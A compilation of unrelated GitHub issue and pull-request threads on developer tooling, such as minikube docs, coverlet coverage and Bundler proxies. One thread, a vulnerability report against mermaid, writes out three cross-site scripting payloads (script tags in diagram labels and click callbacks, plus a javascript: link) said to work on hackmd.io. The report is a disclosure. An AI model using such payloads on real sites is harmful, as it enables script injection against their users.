update(learning/minikube): update minikube tutorial

What type of PR is this?

Uncomment one (or more) /kind <> lines:

/kind bug

/kind cleanup

/kind design

/kind user-interface

/kind content

/kind translation

/kind event

Any specific area of the project related to this PR?

Uncomment one (or more) /area <> lines:

/area blog

/area documentation

/area community

What this PR does / why we need it:
This PR updates the minikube docs.
Changes:

use only the modern ebpf probe;
use preset values file for syscall + k8saudit sources.

Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: alacuku
Once this PR has been reviewed and has the lgtm label, please assign vjjmiras for approval. For more information see the Kubernetes Code Review Process.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

content/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

LGTM label has been added.  Git tree hash: b7ba00efdcd4a3ba28442db1ce657b369a672144

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: alacuku, LucaGuerra
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

content/OWNERS [LucaGuerra]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Empty filename under Android 7.0

Reproducable on a HUAWEI P10 Lite running under Android 7.0:
A file picked from local Download folder returns a FileData object with correct DataArray field but the filename member is empty

This should now be working in this NuGet: https://www.nuget.org/packages/Xamarin.Plugin.FilePicker/1.4.17-beta
If not, please open a issue on the new repo where development will be continued: https://github.com/jfversluis/FilePicker-Plugin-for-Xamarin-and-Windows/issues


Fix infinite loop when deleting machine in ultra weird state

If you try to force delete a machine in a weird state ( actually a boot2docker which kernel panicked, while the vm in virtualbox is still running). The remove command fall into an infinite loop, and the machine is not removed.
This PR kills the machine rather than wait for its state to be changing.

LGTM


cross site scripting in mermaid

Hi, I found XSS issues in mermaid. This affects all the projects that use mermaid.
There are three different ways to trigger.
The first one:
graph TD
B --> C{<script src=https://www.google-analytics.com/gtm/js?id=GTM-TQ6RV7G ></script>}

The second one:
graph LR;
    A-->B;
    click B callback "<script src=https://www.google-analytics.com/gtm/js?id=GTM-TQ6RV7G ></script>"

The third one(needs click, both nodes will work):
graph LR;
    alert`md5_salt`-->B;
    click alert`md5_salt` eval "Tooltip for a callback"
    click B "javascript:alert`salt`" "This is a tooltip for a link"

Here is an example that affects other projects which using mermaid.
https://github.com/hackmdio/codimd/issues/1233
And all above three payload would work on hackmd.io
Hope you can fix soon!

Hi, I think this is a duplicate of #847. I will close this one. I will move your example ethere. If you disagree of the overlap reopen with a comment.

Hi,
https://github.com/knsv/mermaid/issues/847 is only the 1st case in this issue, and there are three cases in this issue.
I don't think your fix of  https://github.com/knsv/mermaid/issues/847 will apply for the last case.

We should extend the scope of #847 then.
@knsv has added your example to the issue so please watch it for any relevant updates. I will close this issue for now.


Support Logs.cli

The first commit is just a switch to Cmdliner.Arg.&, I find it cleaner and it's more in line with Cmdliner's documentation, but I can remove it if you prefer.
The second introduces support for setting logs verbosity through the command line. This introduces a bit of noise in the help page, but helps development by not having to patch the source to get more logs.  The executable doesn't use Fmt.cli as its logs are given to Prometheus.

Yes, please only make the changes you need and avoid style changes.


client hangs after upgrade to v2.10.0

Bug report
Describe the bug
When I try to upgrade the supabase-js client to the latest release v2.4.1, program hangs after it has created supabaseclient.
To Reproduce
Steps to reproduce the behavior, please provide code snippets or a repository:

install v2.4.1 supabase-js client
create a simple file containing following code

import { createClient } from "@supabase/supabase-js";

const adminClient = createClient(process.env.SUPABASE_URL, process.env.SUPABASE_ANON_KEY);

run node supabase-test.js
execution does not terminate. No error is displayed.

Expected behaviour
program execution should terminate.
If applicable, add screenshots to help explain your problem.
System information

OS: macOS
Version of supabase-js: 2.4.1
Version of Node.js:  18.3.0

Additional Context
Same program terminates when supabase-js is v2.4.0

In version 2.10.0 we added the #564 new refresh token algorithm which uses setInterval. From some docs online it looks like a running setInterval will instruct NodeJS to never stop the process.
https://stackoverflow.com/questions/48172363/mocha-test-suite-never-ends-when-setinterval-running
Let me figure out how to address this properly.


what can I do when I have ConnectionError Error ; And I want to use my local llama weight ?

My error :
omegaconf.errors.InterpolationResolutionError: ConnectionError raised while resolving interpolation: (MaxRetryError("HTTPSConnectionPool(host='huggingface.co', port=443): Max retries exceeded with url: /api/models/llama-2-model (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f61955893d0>: Failed to establish a new connection: [Errno 101] Network is unreachable'))"), '(Request ID: df7e58f0-f23d-4dde-93b1-adac874d1acb)')
But i am already have llama weight in my local .
how can i use it ?
when i change  /examples/training-llamas/configs/base.yaml
`defaults:

backend: pytorch # default backend
launcher: inline # default launcher
benchmark: training # default benchmark
experiment # inheriting from experiment config
self # for hydra 1.1 compatibility
override hydra/job_logging: colorlog # colorful logging
override hydra/hydra_logging: colorlog # colorful logging

experiment_name: llama-experiment
model: /data/7b
device: cuda
backend:
no_weights: true
torch_dtype: float16
continuous_isolation: true
benchmark:
warmup_steps: 40
dataset_shapes:
dataset_size: 160
sequence_length: 256
training_arguments:
max_steps: 140
per_device_train_batch_size: 1
hydra:
run:
dir: experiments/${oc.env:HOSTNAME}/${model}/${experiment_name}
sweep:
dir: experiments/${oc.env:HOSTNAME}/${model}/${experiment_name}
subdir: ${benchmark.training_arguments.per_device_train_batch_size}
job:
chdir: true
env_set:
CUDA_VISIBLE_DEVICES: 0
CUDA_DEVICE_ORDER: PCI_BUS_ID
sweeper:
params:
benchmark.training_arguments.per_device_train_batch_size: 1,2,4,8,16,32,64,128
model: /data/7b`
My error is  ：

the error says that it's not possible to infer the task from a local directory, so you'll need to specify it with task: text-generation

if i specify it with task: text-generation
Is not the task in the training that I want to evaluate, does that mean that the training task can't use local weights?

you can specify whatever task you want to use, text-generation just means that AutoModelForCausalLM is going to be used, it's equivalent to language-modeling

@cason0126 were you able to target your specific training task ?


Vive (OpenVR) compatibility saber angle

I got it working!  This is a miracle of cross-platform compatibility.
Needs a debug warning to install the "Open-VR" plugin if no devices are found and you have one plugged in.  This is blocked me for about an hour till I found it out.  (I didn't give up because I remembered it worked on another project.)
  I succeeded in playing by holding the controllers upside down.

Thanks for trying it. Not sure how cross device controller angle should be solved. Any suggestion on what to try is welcome. This is also an issue between hand-tracking and touch contorllers on the quest. Currently I have some controller "attachment" transforms as part of the respective models; maybe these can be modified based on a lookup table for different controller names.

@goatchurchprime I just fixed this in the master branch; thx again for reporting. Also I created a new repository for a stand-alone version of beep saber at https://github.com/NeoSpark314/BeepSaber
this allows to keep the demo in here as a small demo and start adding more features to the stand-alone version


Coverage returning %NaN% for .Net Core 3 project with integrated xUnit tests

I've created about the simplest test case I can that demonstrates the issue.  The test is in the same project as the code being tested, also I'm using git bash, but that should be immaterial.
https://github.com/tracker1/bug-dotnet-test-coverage
run-tests.sh
rm -rf bin obj coverage TestResults

dotnet clean

dotnet test \
  -p:Include="[test_coverage.]" \
  -p:Exclude="[*.Test.*]*" \
  -p:CollectCoverage=true \
  -p:CoverletOutputFormat=cobertura \
  -p:CoverletOutput=./coverage/coverage.cobertura.xml

The output I see is as follows...
test-coverage on  master via •NET v3.0.100 took 4s
❯ ./run-tests.sh
Microsoft (R) Build Engine version 16.3.0+0f4c62fea for .NET Core
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 12/2/2019 3:05:04 PM.
     1>Project "C:\Users\mryan\src\...\test-coverage\test-coverage.csproj" on node 1 (Clean target(s)).
     1>CoreClean:
         Creating directory "obj\Debug\netcoreapp3.0\".
     1>Done Building Project "C:\Users\mryan\src\...\test-coverage\test-coverage.csproj" (Clean target(s)).

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:00:00.38
Test run for C:\Users\mryan\src\...\test-coverage\bin\Debug\netcoreapp3.0\test-coverage.dll(.NETCoreApp,Version=v3.0)
Microsoft (R) Test Execution Command Line Tool Version 16.3.0
Copyright (c) Microsoft Corporation.  All rights reserved.

Starting test execution, please wait...

A total of 1 test files matched the specified pattern.

Test Run Successful.
Total tests: 1
     Passed: 1
 Total time: 1.2258 Seconds

Calculating coverage result...
  Generating report '.\coverage\coverage.cobertura.xml'

+--------+------+--------+--------+
| Module | Line | Branch | Method |
+--------+------+--------+--------+

+---------+------+--------+--------+
|         | Line | Branch | Method |
+---------+------+--------+--------+
| Total   | 100% | 100%   | 100%   |
+---------+------+--------+--------+
| Average | NaN% | NaN%   | NaN%   |
+---------+------+--------+--------+

By default test asm is not included in coverage you need to pass -p:IncludeTestAssembly=true to command line.

We should update the documentation with this flag.

related issue https://github.com/tonerdo/coverlet/issues/618

@MarcoRossignoli Thanks... this pushed me over the hump in getting side-by-side tests working with coverage.
https://medium.com/@tracker1/add-unit-tests-with-code-coverage-to-your-net-core-project-2367f593246c

Glad to hear!
Feel free to close this issue if solved!


Run Travis CI on python 3.7

Python 3.7+ requires OpenSSL 1.0.2+, which is not available for Ubuntu 14.04 Trusty. Therefore it is required to move Travis CI from Trusty (14.04) to Xenial (16.04). Please see this issue for more info

This checklist is used to make sure that common guidelines for a pull request are followed.

[x] The PR has modified HISTORY.rst describing any customer-facing, functional changes. Note that this does not include changes only to help content. (see Modifying change log).

[x] I adhere to the Command Guidelines.

Seeing as how this change fails the CI, I will close this. More investigation and changes would be needed to run entirely on Python 3.7.


Configureable watchable 'list length'

Hi just wanted to show my appreciation for this project!
Its been working wonderfully for me :)
I just noticed the list of torrent this project tracks seems to be limited to 10 torrents, is this correct?
Would be wonderful if this was something we could configure with an environment variable.

Hey Thijmen,
My example as follows:

As you can see there are many torrents active, but the log only shows 10 torrent at once.
I've tested this with movies and tv-shows.
I hope this clears up your question.

Oh, I see - well, that's odd.
I'll attempt to replicate this, will report back in a day or two.
Thank you for bringing this to light.
^ Thijmen

The issue has been identified! It turns out the starrs are using pagination in the queue, which is set to 10 by default.
I’ll work on addressing this over the next few days — expect a release soon!
You’ll be notified here as soon as it’s ready.
^ Thijmen

Hi @jmgevers99 👋
The default has been set to 256, which I believe should suffice for the current requirements.
If this isn't adequate and you'd prefer an environment variable over the current solution, please don't hesitate to let me know. I'm happy to make that adjustment if necessary.
This change is now included in the latest next release.
Looking forward to your feedback!
^ Thijmen

Ah wonderful!
I'll be sure to test this in the coming days.
I think 256 is more than adequate, I could think of 1 or 2 scenario's where it might be favourable to have this limit accessible as an environment variable.
For instance if you have a download speed limit setup in your download manager, the service might discard 'inactive' torrents even though they are being limited by the downloader.
If it isn't too much work I think it would add flexibility to have this as an environment variable (with the default set to 256 for instance) :)


chore(lint): enable list of formatting (copied from client) but with extra exceptions

also remove no longer needed // eslint-disable-next-line import/no-unresolved for '@qlik-trial/sense-themes-default'

:tada: This PR is included in version 1.0.0-alpha.13 :tada:
The release is available on:

npm package (@alpha dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Update color of links in body

Fixes #2

Hey that's really better - now I can read my dotfiles' README properly !
Thanks for the awesome job.


Pixart JS HW

Understanding: 4
Completeness: 5
Everything was pretty straight forward except the mouseover(). Had a long google session to figure it out.

:+1:


Subject:map returns Observable

Not sure if this is a bug, but it was unexpected for me.
Example:
local subject = Rx.Subject.create()
local mappedSubject = subject:map(
  function(x)
    return x
  end
)

print(tostring(subject))
print(tostring(mappedSubject))

Output:
Subject
Observable

Yeah, this is intentional but a little weird right now.  Confusion aside, can you elaborate on whether or not this causes any functional problems for you?

Well, I still can send messages to subject and all subscribers of mappedSubject receive them.
But I think you should note that behavior in the documentation.

Do any of the other Rx frameworks for other languages, work like this? From what I can tell, operators always returns a new stream(aka. observable) so calling on* would be an interface mismatch since it's not observers.

RxJS 5 lets you do this, I think it stores the Observable operators separately and then applies them later rather than returning a new Observable each time an operator is applied.  RxJS 4 works this way though.

This is actually really useful when interfacing with external event sources. First, you create a Subject for internal use only, and call subject:onNext whenever the external event source reports that something has happened. This way you can forget completely about managing subscriptions and returning unsubscribe functions. However, when you're asked for an observable, instead of returning the subject you make a read-only version using subject:map(identity).


Disable Gallery Looping

I would like prevent galleries from looping the last image back to the first. Instead, I'd like the gallery to close after the last image.
Is there a way to do this? I found nothing about looping enable/disable in the documentation.
Thanks,
Matt

So it seems! 😢


build is broken

prod deploy of varnish-demo fails to build on skiff, figure out why and resolve
local docker build is not working for arnavic, figure out why and resolve

this is done.

what fixed the prod/adhoc build?

what fixed the prod/adhoc build?

https://github.com/allenai/varnish/pull/572#discussion_r1439788180


AQCU-868: Added formatted date/times to min/max labels

Coverage remained the same at 88.821% when pulling d1f68dc049f108b0339daca30c7937403aaf303e on zmoore-usgs:feature/dv-min-max-date into 2d51575b72f49496481e7a581feec86c2365482c on USGS-R:master.


fix(config): add unit and mention range for Qubino ZMNHTD1 param 42

PR description here
Fix error in param #42 for ZMNHTD1. Adjusted according to Qubino User manual.

@fojie are you planning to finish this?

Hi,

Sorry for this. This is my first ever PR, and to be honest I don't have time to learn how to do the steps remaining. I thought the first step I did was enough, but obviously the PR could be improved and I don't know how to go further.
So, I suggest that I stick to just finding bugs, and let others – that handles PRs in a proper way –  do the PRs.
Is this OK? I'll gladly hand it over to you. Is that's possible I think it takes less time for you, than to try to tech my how to do it.
Best Regards
Folke

2021-11-19	 kl. 09:39 skrev AlCalzone @.***>:
@fojie https://github.com/fojie are you planning to finish this?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/zwave-js/node-zwave-js/pull/3689#issuecomment-973868519, or unsubscribe https://github.com/notifications/unsubscribe-auth/AC37DHI5IPYATILVMUF2G6TUMYELJANCNFSM5HV6CDOA.
Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Its not that hard, I described the two necessary changes above - you'll just need to edit the file again and do the changes. Its okay though if you don't feel confident here.


Add proxy support from SSH

I use network connection from SSH tunnel as proxy.
I have a problem:  bundle can't install gem from Gemfile because i think him don't understand UNIX socket, e.g. local variable: export {http,https,ftp}_proxy="socks5://<IP_ADDRESS>:3050"
from ssh -D 3050 bundle_user@ip_address
Did you add proxy support like a bundle -p socks5://IP:PORT ?

I'm not sure what the -p is? Exporting http_proxy should be enough for Bundler, can you provide more information about how it's not working?

@colby-swandale OS: Gentoo GNU/Linux. 1st terminal emulator with:
ssh -D 3050 username@ip_address

Another terminal (network works):
echo $http_proxy
socks5://<IP_ADDRESS>:3050

Proxy from ssh working. Next:
bundle install
Fetching source index from https://rubygems.org/

Retrying fetcher due to error (2/4): Bundler::HTTPError Could not fetch specs from https://rubygems.org/

Other application/programm work.

Same issue with http proxy. gem install work perfectly, but bundler didn't work at all.
Retrying fetcher due to error (2/4): Bundler::HTTPError Could not fetch specs from http://rubygems.org/

bundler 1.16.1

so bundler needs http proxy, not socks5 proxy. here's how I made it work:

installl and setup Privoxy. It's originally a http proxy, but can be used as an adapter to socks5 proxy (or dynamic-forwarding ssh tunnel.) Superuser.com has an exact answer to how it should be configured.
set http_proxy env variable. e.g. export http_proxy=<IP_ADDRESS>:8118
bundle install in the same shell.


Add a general scancodeio ui section

  * Adding the text content
  * Adding images
  * Adding minor updates to the scancodeio output section

Signed-off-by: Hanan Younes<EMAIL_ADDRESS>This PR fixes #223

@hyounes4560 The new chapter looks great, thanks for the good work!


fix(webpack-dev-server): parse env args

SUMMARY
The --superset arg is rejected by webpack because it's not well known.
This PR updates the documentation and changes the flag to use the --env arg as a way to override the backend superset environment when running the webpack-dev-server.
TESTING INSTRUCTIONS
From the superset-frontend directory, run the command to use a remote superset backend.
npm run dev-server -- --env=--superset=https://my-superset-backend

ADDITIONAL INFORMATION

[x] Has associated issue: Fixes #19743
[ ] Required feature flags:
[ ] Changes UI
[ ] Includes DB Migration (follow approval process in SIP-59)

[ ] Migration is atomic, supports rollback & is backwards-compatible
[ ] Confirm DB migration upgrade and downgrade tested
[ ] Runtime estimates and downtime expectations provided

[ ] Introduces new feature or API
[ ] Removes existing feature or API

+1, the patch work well on my local dev environment

that solved connection problem, thx!

Sorry this never got a review somehow. Adding a few folks to review/test this. I'm also closing/reopening to kick-start CI, and see if we can get this thing across the finish line.


x/website: tracking bug for tip.golang.org

This is a tracking but to make sure the new x/website codebase also does tip.golang.org (which runs on GKE + uses autocert now)
/cc @cnoellekb @katiehockman @andybons @dmitshur

Looks like x/website still has the autocert code.
This bug might just be validating that the tip service still runs (it'll need slight tweaks) on the go-dashboard-dev staging project's GKE cluster.

As part of the changes of moving website into x/website, we have to make a decision about the future scope of tip.golang.org.
Previously, tip.golang.org served two purposes: it served the latest content from the main Go repository (e.g., https://tip.golang.org/doc/go1.12, the latest spec.html, latest stdlib package docs), and it was a test of whether Go at tip builds at all. If there was a toolchain breakage (e.g., early in cycle), the latest tip commit couldn't be deployed.
This is because to serve the website, the Go distribution had to be built together with the x/tools/cmd/godoc binary.
Now that the website is served from x/website/cmd/golangorg, it becomes possible to use a fixed stable version of Go (rather than the tip commit) to serve the latest content from the Go repository. That would make tip.golang.org more reliable and change its purpose to only serve the latest Go repo content, not to see if the latest tip commit builds successfully (we have https://build.golang.org/ for that).
Thoughts on this?

It was never a goal to report or indicate whether any particular thing built at all.
The main goal was just showing tip docs.
But a secondary goal was that changing cmd/godoc meant that cmd/godoc self-deployed with those code changes (or CSS, JS changes).

@cnoellekb Are you planning on working on this? If so, I'm happy to be a reviewer for the CLs. Otherwise I can take this and you can be a reviewer.


qe: Add ImagePullSecret to machine config doc

cc: @joshix

I think that using capitals for the name (ie FoobarQuayCreds) will cause a regex error. Should change it to fooquaycreds.

@kbrwn Good call, updated.

Two quibbles, otherwise LGTM

An alternative is to edit the default service account to use a imagePullSecret:
$ kubectl get serviceaccounts default -o yaml > ./sa.yaml
$ vi sa.yaml
delete line with key "resourceVersion"
add imagePullSecret
$ kubectl replace serviceaccount default -f ./sa.yaml

@kbrwn Check out the latest commit

lgtm

Those few comments, otherwise a second LGTM.
I think later also we should figure out how to kill foo bar and baz forever and everywhere. I think foobarquaycreds is rife with negative implications.

@joshix I hate doing that too. Should I say App? Web?

@robszumski IIRC in previous comments that foobarquaycreds string needed to be lowercased, because of a dependency in a grep?

websvc ; websvcquaycreds; &c.
MyUnicornIP ; MyUnicornIPquaycreds; ...

@joshix No, its a requirement of Kubernetes. Very annoying.


how-to-fix-clienterror-an-error-occurred-accessdenied-when-calling-the-createBucket operation

Describe the bug
A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:

Are you testing a QuickStart or Custom template?
Attach or link a copy of the template if possible (remove any sensitive info)
Provide the parameters that you passed. (remove any sensitive info)
How did you install taskcat? (docker or pip3)
Are you using a profile, an instance role or  access keys to run taskcat?
Is your AWS environment configured via aws configure?

Expected behavior
A clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
**Version (Please make sure you are running the latest version of taskcat)

Taskcat Version (ex: [2018.817.210357])

Note: Python Version (python3 required)
To find versions:
Via taskcat: taskcat -V
Via pip3: pip3 show taskcat
Note: both version should match
To update taskcat run:
for docker : docker pull taskcat/taskcat
for pip3: pip3 install --upgrade taskcat
Additional context
Add any other context about the problem here.

Check the permissions on the credentials you're using when you invoke taskcat. You'll need permissions to create an S3 bucket. Alternately, provide an S3 bucket that's been created and use the s3bucket config option.
https://aws-quickstart.github.io/taskcat/docs/schema/taskcat_schema.html#project_s3_bucket


nixos/gitlab-runner: do not pull in Docker if gitlab-runner-clear-docker-cache is disabled

Description of changes
Possible follow-up to #195488:
I just tried my hand at running the gitlab-runner service, but I noticed that even though I've set clear-docker-cache.enable = false; and I have only a shell executor, it still pulled in Docker, and I get a one-shot systemd service file (that I assume won't ever be triggered).
@KoviRobi To me it makes more sense to not create the service at all if it's not enabled, or am I missing something?
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Yeah makes sense, thank you.


⚠ Site ANTS has degraded performance

In 31556cf, Site ANTS (https://ants.gouv.fr) experienced degraded performance:

HTTP code: 200
Response time: 12231 ms

Resolved: Site ANTS performance has improved in d7eaea4.


Request the download link to weights "MixFormer_ep0500.pth.tar"

Great work~
Didn't find this file~~

mixformer2_vit/student_288_depth12/MixFormer_ep0500.pth.tar

Have added it to tutorials/training_zh.md


Provision attempts to write keys before creating them

~/self ❯❯❯ tessel provision                                                                                ⏎
INFO Connecting to Tessel...
INFO Connected to pixel over USB
INFO Creating public and private keys for Tessel authentication...
INFO Authenticating Tessel with public key...
INFO SSH Keys written.

Also, the keys were already written. This command should not have written over them.

As seen by @MrNice.

Here is how it should have looked (and it did after deleting ~/.tessel)
~/self ❯❯❯ t2 provision
INFO Connecting to Tessel...
INFO Connected to pixel over USB
INFO Creating public and private keys for Tessel authentication...
INFO SSH Keys written.
INFO Authenticating Tessel with public key...
INFO Tessel authenticated with public key.
Add Comment Collapse

fixed by #295


Feat/core/update typing

:tada: This PR is included in version 3.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


readme: log db instead of graph-node db

Thanks! Sorry once again I did some upgrades on the repo conventions as here: https://github.com/semiotic-ai/autoagora/pull/21#issuecomment-1302799569
As for this fix, it also needs fixing there: https://github.com/semiotic-ai/autoagora-processor/blob/61bd35246e0b362d5f83b90f5b999349f1356a6f/autoagora_processor/main.py#L84-L107


USHIFT-1123: add manifests.d support

support glob patterns in the manifest paths config entry
add manifests.d glob patterns to the defaults to allow packages with separate applications to write their own customization.yaml files

/assign @eggfoobar

/hold
Depends on #1697

/hold cancel

The failure looks like a subscription-manager service issue.
/test microshift-e2e

/hold
This PR needs to be rebased on #1757

/test microshift-e2e

/test e2e-openshift-conformance-reduced

/hold cancel
/test e2e-openshift-conformance-reduced-arm

/test e2e-openshift-conformance-reduced-arm

/lgtm


[Bug] TabView SelectedIndex

hello im coding this:
<xct:TabView x:Name="tbView"  Style="{StaticResource CustomTabStyle}" SelectedIndex="1" >

          <xct:TabViewItem />
           <xct:TabViewItem />
           <xct:TabViewItem />

</xct:TabView>

i didnt show tabitem content its just example.
and when i will run getting this error!:
System.ArgumentOutOfRangeException: 'Index was out of range. Must be non-negative and less than the size of the collection.
Parameter name: index'

@Saleh-Software
Could you attach a small repro?

Sure !
this is small check code behind also
idk how zip my project like you its low size but for me its 50mb
so i uploaded in file upload
link for download: https://ufile.io/fjnhm6ms

@Saleh-Software I'll take a look during the week. To reduce the size of the sample, delete the obj and bin folders before zip


Error on npm start on 64-bit Windows 10 machine

I followed the steps on the readme, i.e., cloned the repo, followed by npm install. On npm start the following error occurs:
npm ERR! missing script: start

npm ERR!  C:\Users\hp\AppData\Roaming\npm-cache\_logs\2018-02-03T13_14_11_398Z-debug.log

How can I resolve it?
I can provide the logs if that should be necessary.

Maybe you run that from ./app directory? You should run it from root directory.
eg.
cd stretchly
npm start

This is the error. If you could please help me out?
Thank you for your time ! :)

@Rahmeen14 what is your node version?

@Anisha1234 thank you for the help!
I upgraded my nodejs to v8.9.4. Did try the step-wise solution this link has to offer, the same error persists.
Is there anything else you have in mind?

node version that I use is specified in package.json as
  "engines": {
    "node": "7.9.0"
},

For WIndows, I remember I had to install some windows c libraries, but I don't remember what it was.

@Rahmeen14  This took a lot of time but it finally worked.
Follow these steps:

In windows power shell , type Start-Process powershell -Verb runAs.This runs power shell as an adminstrator.
In the administrator power shell , type -
npm --add-python-to-path='true' --debug install --global windows-build-tools
This might take a long time.
3.Now cd into stretchly and npm install.
After that, type  npm start.During npm start , it asks to reinstall electron:
Type this:
npm install electron --verbose
npm start again.

The above steps worked for me. Hope it works for you too.

Yes it helped! Thankyou!

I wanted to use yarn instead of npm. If anyone's interested, here are the commands I needed to execute:
In an elevated shell:
yarn global add windows-build-tools --add-python-to-path='true' --verbose
Then, when I ran yarn install to build the app, I got an error about missing electron-builder(cannot list the concrete error because it seems to have depleted both the shell screen max line-length and the yarn error log file size). So I added it globally:
yarn global add electron-builder --verbose. The --verbose-switches are not mandatory.
The last one may be a yarn bug, because the package electron-builder is in the package.json and should've been downloaded automagically.
What's interesting is that if I run yarn check to check the integrity, it somehow reads the package-lock.json from the source and displays some warnings:
info<EMAIL_ADDRESS>The platform "win32" is incompatible with this module.
info<EMAIL_ADDRESS>is an optional dependency and failed compatibility check. Excluding it from installation.
info<EMAIL_ADDRESS>The platform "win32" is incompatible with this module.
info<EMAIL_ADDRESS>is an optional dependency and failed compatibility check. Excluding it from installation.
info<EMAIL_ADDRESS>The platform "win32" is incompatible with this module.
info<EMAIL_ADDRESS>is an optional dependency and failed compatibility check. Excluding it from installation.
info<EMAIL_ADDRESS>The platform "win32" is incompatible with this module.
info<EMAIL_ADDRESS>is an optional dependency and failed compatibility check. Excluding it from installation.
info<EMAIL_ADDRESS>The platform "win32" is incompatible with this module.
info<EMAIL_ADDRESS>is an optional dependency and failed compatibility check. Excluding it from installation.
info<EMAIL_ADDRESS>The platform "win32" is incompatible with this module.
info<EMAIL_ADDRESS>is an optional dependency and failed compatibility check. Excluding it from installation.

I am overwhelmed by the tons of stuff these things need to get going, but I guess if/when electrino migration happens it'd be mostly on the lightweight side :)
I'll try running stretchly tomorrow.
Cheers,
Kostadin


About this Baseline model

What is the structure of this Baseline model? What kind of connection does it have with UACANet?

The baseline model is just a simplified version of our model. The overall structure is identical, but the modules are more simplified. (e.g., UACA -> simple attention). Maybe I need to remove them since people might get confused.

Thank you for your answer. I have another question. I read your article and saw that the order of the graph structure of PAA_e is 1x3 Conv, 3x1 Conv, 3x3 Conv, PAA. But now when I look at the code, I found that the PAA_e module first performed 1x1 Conv, then 1x3 Conv, 3x1 Conv, PAA, and 3x3 Conv. Why is the order of the code inconsistent with the order of the graphics drawn in the article? So which one shall we prevail? Or do I understand it incorrectly? Thank you very much for your answer. code show as below:
class PAA_kernel(nn.Module):
def init(self, in_channel, out_channel, receptive_size=3):
super(PAA_kernel, self).init()
self.conv0 = conv(in_channel, out_channel, 1)
self.conv1 = conv(out_channel, out_channel, kernel_size=(1, receptive_size))
self.conv2 = conv(out_channel, out_channel, kernel_size=(receptive_size, 1))
self.conv3 = conv(out_channel, out_channel, 3, dilation=receptive_size)
self.Hattn = self_attn(out_channel, mode='h')
self.Wattn = self_attn(out_channel, mode='w')
def forward(self, x):
    x = self.conv0(x)
    x = self.conv1(x)
    x = self.conv2(x)

    Hx = self.Hattn(x)
    Wx = self.Wattn(x)

    x = self.conv3(Hx + Wx)
    return x

Well, it's obviously my mistake that I missed that part in the paper. Thank you for letting me know about this problem!
I'll post some comment about this. Until then, please follow our implementation for your research.
Moreover, PAA module is a small modification of RFB which is not our major contribution. You may want to find other works for multi-scale context modules like ASPP if you're interested in.

Well, thank you very much for your answer!


Why is the gui completely messed up for me?

Here's a screenshot. Installed from pi apps. No errors. Can't access the toolbar or any settings. 1.6.1

Could you give me more details? Like which device were you using or anything like that? I can't fix something when I don't know what to fix and this looks definitely like the hardware/gpu-specific issue.
Also, try installing WebCord from the releases – Pi-apps as well as other installation sources are not supported by me yet.
This looks like the Electron issue, you probably should report that on their repository. If you experience similar issues on upstream Chromium that is of the same version as the one used as the Electron's engine (check that in the about panel), you may even report it to the Chromium maintainers. Also, last but not least, try packaging WebCord under different Electron versions. For instance, you could try running it. To do that, simply clone the repository and run npm i && npm run make. This will produce the deb files as well as other distributables in out directory.

This issue won't be worked on due lack of the information and no response for my questions.


The new PyPi lists Qt.py as "qt-py"

@mottosso have you seen this?

I wonder why Qt.py got changed into qt-py... I guess we should review the Travis PyPi settings and setup.py.
From what I understand, all downloads are no longer performed from the old PyPi but instead they are now downloaded from the new one. I think that you need to upgrade to a new(er) setuptools in order to be able to package for the new PyPi.

Hm...

https://github.com/pypa/pip/issues/3677
https://github.com/pypa/pip/issues/3666


Document WEDEPLOY_WEB_PATH env variable

 Issue by ipeychev
Friday Jan 06, 2017 at 08:05 GMT
Originally opened as https://github.com/wedeploy/docs/issues/65

When developing an application, the output is often produced from some build process.
This could be a Gulp/Grunt task and the result is usually in a folder called out or dist. In this case, index.html won't be in the main folder, but in dist or out.
We have to add to the documentation information about how to specify where the output result is. This is the purpose of WEDEPLOY_WEB_PATH environment variable. Its value specifies where WeDeploy hosting service will look for the files.

Thanks a lot for this feedback @ipeychev, here's what we've done to highlight this piece a little bit more:
http://wedeploy.com/docs/hosting/environment-variables.html
http://wedeploy.com/blog/3-reasons-why-you-should-use-environment-variables.html
Feel free to send any suggestions!


Merge article counts

This PR ensures view counts include both laravel.io URLs and canonical URLs.
It also conditionally sets the canonical tracking in Fathom to ensure views are collected for the correct URL.

Thanks!


stable version

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 83.10%. Comparing base (88e3b9d) to head (d4d997d).

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@           Coverage Diff           @@
##             main      #11   +/-   ##
=======================================
  Coverage   83.10%   83.10%
=======================================
  Files           8        8
